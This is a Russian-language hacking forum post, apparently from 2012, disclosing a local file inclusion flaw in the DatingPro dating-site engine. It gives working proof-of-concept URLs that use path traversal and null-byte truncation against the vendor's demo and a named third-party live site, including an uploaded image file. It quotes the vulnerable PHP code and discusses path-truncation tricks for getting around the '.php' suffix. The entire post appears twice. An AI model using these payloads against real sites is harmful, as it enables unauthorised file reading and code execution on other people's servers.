Pirotexnik
26.07.2012, 20:31
[Intro]Расковырял двиг, нашел лфи.
Все версии уязвимы, включая демо на офф cайте.
Стоимость движка 340$
[PoC]
http://demo.datingpro.com/dating/ecards.php?sel=pay_by_paysys&id_order=8&paysys=../../../version
http://elka.me/ecards.php?sel=pay_by_paysys&id_order=8&paysys=../../../uploades/icons/big_thumb_493_7f60a337.gif%00
[Vuln. Code]
Code:
function PayFromPaysystem(){
global $lang, $config, $smarty, $dbconn, $user;
$form['file_name'] = "ecards.php";
$id_order = (isset($_REQUEST["id_order"]) && intval($_REQUEST["id_order"]) > 0) ? intval($_REQUEST["id_order"]) : null;
if ($id_order == null) {
header("Location: ".$config['server'].$config['site_root']."/".$form['file_name']);
} else {
$settings = GetSiteSettings(array('site_unit_costunit'));
$paysys = $_REQUEST["paysys"]; //получаем переменную
$card = GetCardOrderData($id_order);
$amount = $card["price"];
if ($amount == '0.00') {
header("Location: ".$config['server'].$config['site_root']."/".$form['file_name']);
}
$product_name = $amount." ".$settings["site_unit_costunit"]." ".$lang["cards"]["payment_product"];
$dbconn->Execute("INSERT INTO ".BILLING_REQUESTS_TABLE."
(id_user, id_product, count_curr, currency, date_send, status, paysystem, id_group) VALUES
('".$user[0]."', '-2', '".$amount."', '".$settings["abbr"]."','".date("Y-m-d H:i:s")."','send','".$paysys."','".$card['id_order']."')");
$id_trunzaction = $dbconn->Insert_ID();
include_once "./include/systems/functions/".$paysys.".php";//инклуд без фильтраций
MakePayment($paysys, $amount, $settings["site_unit_costunit"], $id_trunzaction, $product_name, array("force_disable_recurring"=>1));
header("Location: ".$config['server'].$config['site_root']."/".$form['file_name']."?sel=my_orders");
}
}
[Require]1) нужно быть залогиненым
2) должна передаватся переменная id_order
©Pirotexnik
___
Дабы не создавать новых тем вопрос к форумчанам по поводу нормализации пути - на демо не могу обрезать .php, пробовал: %00 , /[4096]/, /.[4096]/., ./[4096]./. Стоит там Apache httpd 2.2.16 ((Debian)), версия php не известна. В чем соль?
___
UPD: соль была в MQ=on
Все версии уязвимы, включая демо на офф cайте.
Стоимость движка 340$
[PoC]
http://demo.datingpro.com/dating/ecards.php?sel=pay_by_paysys&id_order=8&paysys=../../../version
http://elka.me/ecards.php?sel=pay_by_paysys&id_order=8&paysys=../../../uploades/icons/big_thumb_493_7f60a337.gif%00
[Vuln. Code]
Code:
function PayFromPaysystem(){
global $lang, $config, $smarty, $dbconn, $user;
$form['file_name'] = "ecards.php";
$id_order = (isset($_REQUEST["id_order"]) && intval($_REQUEST["id_order"]) > 0) ? intval($_REQUEST["id_order"]) : null;
if ($id_order == null) {
header("Location: ".$config['server'].$config['site_root']."/".$form['file_name']);
} else {
$settings = GetSiteSettings(array('site_unit_costunit'));
$paysys = $_REQUEST["paysys"]; //получаем переменную
$card = GetCardOrderData($id_order);
$amount = $card["price"];
if ($amount == '0.00') {
header("Location: ".$config['server'].$config['site_root']."/".$form['file_name']);
}
$product_name = $amount." ".$settings["site_unit_costunit"]." ".$lang["cards"]["payment_product"];
$dbconn->Execute("INSERT INTO ".BILLING_REQUESTS_TABLE."
(id_user, id_product, count_curr, currency, date_send, status, paysystem, id_group) VALUES
('".$user[0]."', '-2', '".$amount."', '".$settings["abbr"]."','".date("Y-m-d H:i:s")."','send','".$paysys."','".$card['id_order']."')");
$id_trunzaction = $dbconn->Insert_ID();
include_once "./include/systems/functions/".$paysys.".php";//инклуд без фильтраций
MakePayment($paysys, $amount, $settings["site_unit_costunit"], $id_trunzaction, $product_name, array("force_disable_recurring"=>1));
header("Location: ".$config['server'].$config['site_root']."/".$form['file_name']."?sel=my_orders");
}
}
[Require]1) нужно быть залогиненым
2) должна передаватся переменная id_order
©Pirotexnik
___
Дабы не создавать новых тем вопрос к форумчанам по поводу нормализации пути - на демо не могу обрезать .php, пробовал: %00 , /[4096]/, /.[4096]/., ./[4096]./. Стоит там Apache httpd 2.2.16 ((Debian)), версия php не известна. В чем соль?
___
UPD: соль была в MQ=on